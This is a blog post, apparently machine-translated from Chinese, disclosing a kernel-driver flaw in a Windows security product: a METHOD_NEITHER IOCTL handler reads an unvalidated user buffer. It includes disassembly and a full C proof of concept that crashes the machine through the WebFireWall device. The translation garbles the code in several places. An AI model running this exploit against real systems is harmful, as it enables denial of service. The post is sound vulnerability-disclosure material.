One day for a website Security Detection System

 

Today, on Weibo, I saw a senior who recommended a so-called driver-level WEB Security Detection System, wondering if it was in the kernel to implement the WAF function, so I downloaded it and looked at it. I found that this system has only one driver module. I analyzed IDA and found that the other is just an NDIS filter driver-a general firewall function. It is not implemented by placing the defense against attacks such as XSS and SQL Injection in the driver layer as I thought. I think of ioctl_fuzzer, an artifact that has Driver Vulnerability mining in my toolbox. I am idle and idle. I just copied the guy and scanned it. As a result, the virtual machine is BSOD.

Then restart the Virtual Machine and attach the Windbg. After another mad scan, Windbg caught a memory access exception. Combined with the exception information provided by Windbg, it is easy to analyze the cause of the 0Day chicken ribs --

When the driver module communicates with the ring 3 layer application, the data exchange buffer method is very unreliable. the DDK describes this buffer method as follows:

"

METHOD_BUFFER

The input buffer's address is supplied byParameters. DeviceIoControl. Type3InputBufferin the driver's IO_STACK_LOCATION structure, and the output buffer's address is specified byIrp-> UserBuffer.

"

Combined with WRK, if you use this extremely unreliable buffer method, IopXxxControlFile is also very irresponsible when constructing IRP. You can see --

Case METHOD_NEITHER:

//

// For this case, do nothing. Everything is up to the driver.

// Simply give the driver a copy of the caller's parameters and

// Let the driver do everything itself.

//

Irp-> Flags = 0;

Irp-> UserBuffer = OutputBuffer;

IrpSp-> Parameters. DeviceIoControl. Type3InputBuffer = InputBuffer;

The comment clearly states that "Everything is up to the driver ". Well, if the programmer who writes the Driver is not responsible and does not perform an effective test on the InputBuffer, the attacker will be blessed.

. Text: F8643BED mov eax, [ebp + Irp]

. Text: F8643BF0 mov eax, [eax + 60 h]; EAX points to the IO_STACK_LOCATION

. Text: F8643BF3 mov edx, [eax + 10 h]; EDX equals the irpSp-> Parameters. DeviceIoControl. Type3InputBuffer

Then there are multiple operations to read data from the memory directed by EDX "movzx eax, word ptr [edx]", without exception, the validity of the Multi-memory address is not verified (the most basic cmp or test is none, let alone ProbeForRead ). Therefore, BSOD is required if a very cumbersome address is input. The following is a POC that can cause local denial-of-service (DoS) attacks:

# Include <windows. h>

# Include <stdio. h>

# Define DEVICE_NAME "\\\\. \ WebFireWall"

# Define DEVICE_IOCONTROL_CODE 0x0012c84f

# Define MALICIOUS_ADDRESS 0x0c0c0c0c

Int main ()

{

HANDLE hDev = INVALID_HANDLE_VALUE;

Int nLen = 0;

BOOL bRet = FALSE;

DWORD dwBytCnt = 0;

HDev = CreateFile (DEVICE_NAME,

GENERIC_ALL,

File_pai_read | file_pai_write,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, NULL );

 

If (INVALID_HANDLE_VALUE = hDev ){

Printf ("[*] CreateFile Error Code: % d \ r \ n", GetLastError ());

Goto _ EXIT;

}

BRet = DeviceIoControl (hDev, DEVICE_IOCONTROL_CODE,

(LPVOID) MALICIOUS_ADDRESS,

0x36,

(LPVOID) MALICIOUS_ADDRESS,

0x60,

& DwBytCnt, NULL );

If (false = bRet ){

Printf ("[*] DeviceIoControl Error Code: % d \ r \ n", GetLastError ());

}

Else {

Printf ("[*] Success! \ R \ n ");

}

_ EXIT:

If (INVALID_HANDLE_VALUE! = HDev ){

CloseHandle (hDev );

}

Getchar ();

Return 0;

}

Author: K_K